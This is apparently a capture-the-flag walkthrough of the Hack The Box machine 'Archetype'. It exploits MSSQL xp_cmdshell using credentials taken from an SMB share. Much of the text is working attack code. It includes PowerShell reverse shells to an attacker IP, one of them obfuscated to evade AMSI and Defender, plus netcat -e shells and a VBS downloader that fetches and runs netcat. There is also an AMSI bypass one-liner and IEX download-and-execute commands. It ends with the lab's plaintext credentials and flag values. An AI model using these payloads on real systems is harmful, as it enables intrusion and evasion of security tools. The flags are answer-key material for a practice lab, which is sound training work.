Recon

So we’re going to start off the box by Nmapping the box, I picked up this little trick somewhere where you quickly scan the box with the -T4 option then go back and scan those open TCP ports with –sVC Performs a script scan using the default set of nse scripts and does service versioning then outputs results to all formats.

ports=$(nmap -p- \u002d\u002dmin-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\
' ',' | sed s/,$//)
nmap -sVC -p$ports 10.10.10.27 -vvv -oA Archtype-AllTCP

With the saved results you will also get verbose output to the screen:

135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
445/tcp open microsoft-ds syn-ack Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s syn-ack Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
| Target_Name: ARCHETYPE
| NetBIOS_Domain_Name: ARCHETYPE
| NetBIOS_Computer_Name: ARCHETYPE
| DNS_Domain_Name: Archetype
| DNS_Computer_Name: Archetype
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-03-24T23:00:14
| Not valid after: 2051-03-24T23:00:14
|_ssl-date: 2021-03-25T00:29:31+00:00; +21m11s from scanner time.
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49665/tcp open msrpc syn-ack Microsoft Windows RPC
49666/tcp open msrpc syn-ack Microsoft Windows RPC
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49668/tcp open msrpc syn-ack Microsoft Windows RPC
49669/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h45m12s, deviation: 3h07m52s, median: 21m10s
| ms-sql-info: 
| 10.10.10.27:1433: 
| Version: 
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb-os-discovery: 
| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
| Computer name: Archetype
| NetBIOS computer name: ARCHETYPE\\x00
| Workgroup: WORKGROUP\\x00
|_ System time: 2021-03-24T17:29:26-07:00
| smb-security-mode: 
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
| 2.02: 
|_ Message signing enabled but not required
| smb2-time: 
| date: 2021-03-25T00:29:22
|_ start_date: N/A

From the results we can determine:

• OS – Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
• Share_Folders – /backups
• MsSQL – port 1433 – Microsoft SQL Server 2017
• Win-RM – port 5985

Share Folders

So one of the nse scripts shows that we have some open shares on the machines, the usual go-to tool for this is smbclient. To see which shares are available on a given host use: smbclient -L 10.10.10.27

You can see we can then use the command smbclient //10.10.10.27/backups to navigate to that backup share name and see any files available, as you see there is a file called prd.dtsConfig , we can use the smbclient to download that file to our local Kali box using the get command and then exit and cat the file. You notice some XML data that contains a hardcoded username and password.

Foothold

Knowing a dtsConfig is a MsSQL XML configuration file, and seeing the port open on 1433. Most likely these are the login credentials. On Kali theres a program from the Impacket suite of tools: mssqlclient

mssqlclient

Usage: impacket-mssqlclient -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP> # Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine

impacket-mssqlclient ARCHETYPE/[email protected] -windows-auth

From the image you can see we have command access to the database as the sql_svc user. I also looked to explore other tools to achieve this.

Metasploit

Entering the search parameters in Metasploit for mssql_exec we can use the module then enter our prameters , if you dont specify a payload, it will give you a default reverse meterpreter shell payload.

tsql

The final tool used was tsql which you can install on Kali with apt.

sudo apt update
sudo apt install freetds-bin

Then edit the config file:

nano ~/.freetds.conf

Paste this in nano and ctrl+x to save the file:

[archetype]
host = 10.10.10.27
port = 1433
tds version = 7.4

Use tsql client to connect:

tsql -S archetype -U archtype\\sql_svc

Payloads

Now that there is a semi-foothold on the Archetype through the MsSql account we will have to exploit the machine to further access from MsSQL to a shell. From the Impacket shell check for the ability to run commands on the local machine xp_cmdshell. enable_xp_cmdshell # enables xp_cmdshell

Powershell

Since it was a windows machine usually the first go to would be PowerShell. A quick google will give you a few different reverseshell powershell payloads.

• powershell reverseshell: hax.ps1

$client = New-Object System.Net.Sockets.TCPClient("10.10.15.44",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Host the hax.ps1 file with a python webserver on Kali in a new shell tab sudo python3 -m http.server 80 setup a netcat listener to recieve the reverseshell in a new tab nc -lvnp 1234

Run the xp_cmdshell commands in the Impacket shell changing the IP to the Kali tun0 IP: xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.15.44/hax.ps1\");"

If all goes well you should recieve a connection back from Archetype… or not. IF you dont recieve a connection back, check your IP is correct and you also had a connection from Archtype trying to pull the hax.ps1 in your http server.

The issue you may be facing is that your powershell reverseshell was easily detected by Windows Defender and AMSI Found AMSI bypass powershell reverse shell from 0xdarkvortex.dev Switch the code and retry

• AMSI bypass powershell reverseshell: hax.ps1

while ($true) {$px = "c0","a8","38","1";$p = ($px | ForEach { [convert]::ToInt32($_,16) }) -join '.';$w = "GET /index.html HTTP/1.1`r`nHost: $p`r`nMozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0`r`nAccept: text/html`r`n`r`n";$s = [System.Text.ASCIIEncoding];[byte[]]$b = 0..65535|%{0};$x = "n-eiorvsxpk5";Set-alias $x ($x[$true-10] + ($x[[byte]("0x" + "FF") - 265]) + $x[[byte]("0x" + "9a") - 158]);$y = New-Object System.Net.Sockets.TCPClient($p,80);$z = $y.GetStream();$d = $s::UTF8.GetBytes($w);$z.Write($d, 0, $d.Length);$t = (n-eiorvsxpk5 whoami) + "$ ";while(($l = $z.Read($b, 0, $b.Length)) -ne 0){;$v = (New-Object -TypeName $s).GetString($b,0, $l);$d = $s::UTF8.GetBytes((n-eiorvsxpk5 $v 2>&1 | Out-String )) + $s::UTF8.GetBytes($t);$z.Write($d, 0, $d.Length);}$y.Close();Start-Sleep -Seconds 5}

You will now see a reverse shell incoming. So we were able to achieve a shell on the machine, lets look at some other methods that we could try.

SMBShare

We will create and SMBShare to host our netcat binary, then use the MsSQL shell to transfer the file and execute it on attack machine:

sudo impacket-smbserver illwill /usr/share/windows-resources/binaries/ -smb2support -username sql_svc -password M3g4c0rp123
nc -lvnp 9001

In second console window on attacker machine:

impacket-mssqlclient ARCHETYPE/[email protected] -windows-auth

while in mssqlclient console:

xp_cmdshell "mkdir c:\illwill"
xp_cmdshell "copy \\10.10.15.44\illwill\nc.exe c:\illwill\"
xp_cmdshell "c:\illwill\nc.exe 10.10.15.44 9001 -e powershell.exe"

or a nice one-liner xp_cmdshell "mkdir c:\illwill && copy \\10.10.15.44\illwill\nc.exe c:\illwill\ && c:\illwill\nc.exe 10.10.15.44 9001 -e powershell.exe"

UPDATE: dont need to copy the file directly, we just execute it fomr the share

impacket-smbserver illwill /usr/share/windows-resources/binaries/ -smb2support -username sql_svc -password M3g4c0rp123
xp_cmdshell \\10.10.15.44\illwill\nc.exe 10.10.15.44 1234 -e cmd.exe

COPYING FROM METASPLOIT

Downloading using VBS ADODB.Stream

This as an old trick that I’ve been using since XP days before Powershell was available, it uses VBScript Active Scripting language to download the file. The ADO Stream Object is used to read, write, and manage a stream of binary data or text, in this case over HTTP. We’re going to do this from the tsql shell this time. Make sure you have the http listener open still and a netcat shell, and change the code below to you Kali tun0 VPN IP.

Hit enter after pasting each of these comamnds in the shell:

EXEC sp_configure 'xp_cmdshell', 1; 

GO

EXEC xp_cmdshell 'cmd.exe /c "@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>%temp%\illwill.vbs &@echo objXMLHTTP.open "GET","http://10.10.15.44/netcat.exe",false>>%temp%\illwill.vbs&@echo objXMLHTTP.send()>>%temp%\illwill.vbs&@echo If objXMLHTTP.Status=200 Then>>%temp%\illwill.vbs&@echo Set objADOStream=CreateObject("ADODB.Stream")>>%temp%\illwill.vbs&@echo objADOStream.Open>>%temp%\illwill.vbs&@echo objADOStream.Type=1 >>%temp%\illwill.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>%temp%\illwill.vbs&@echo objADOStream.Position=0 >>%temp%\illwill.vbs&@echo objADOStream.SaveToFile "%temp%\netcat.exe">>%temp%\illwill.vbs&@echo objADOStream.Close>>%temp%\illwill.vbs&@echo Set objADOStream=Nothing>>%temp%\illwill.vbs&@echo End if>>%temp%\illwill.vbs&@echo Set objXMLHTTP=Nothing>>%temp%\illwill.vbs&@echo Set objShell=CreateObject("WScript.Shell")>>%temp%\illwill.vbs&@echo objShell.Exec("%temp%\netcat.exe 10.10.15.44 1234 -e cmd.exe")>>%temp%\illwill.vbs&cscript.exe %temp%\illwill.vbs"';

GO

USER

Now that we have a foothold we can just go get the user.txt grab the user.txt contents

ROOT

So now that we have user permission, let’s get some situational awareness to see how we can escalate. You may be tempted to continue using PowerShell for recon, so make things easier if you’re in the original PowerShell shell, you can disable AMSI

Amsi ByPass

$Ref=[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils'); $Ref.GetField('amsiIn'+'itFailed','NonPublic,Static').SetValue($null,$true);

ON Attacker Box: python3 -m http.server 80

On Archetype:

IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.15.44/powercat.ps1');powercat -c 10.10.15.44 -p 1234 -e cmd

As you see you can happily download scripts into memory without Defender going crazy.

Part of the recon I found that there were credentials logged into PowerShell,

Because WinRM port was open, I decided to try to get an interactive connection with these found credentials using CrackMapExec to get the contents of root.txt

I never circled back around to attempt more exploits, when I get time I will try a few and update this post.

LOOT

User = ARCHETYPE\sql_svc Password = M3g4c0rp123

User = ARCHETYPE\administrator MEGACORP_4dm1n!! Password = MEGACORP_4dm1n!!

user_flag: 3e7b102e78218e935bf3f4951fec21a3

root_flag: b91ccec3305e98240082d4474b848528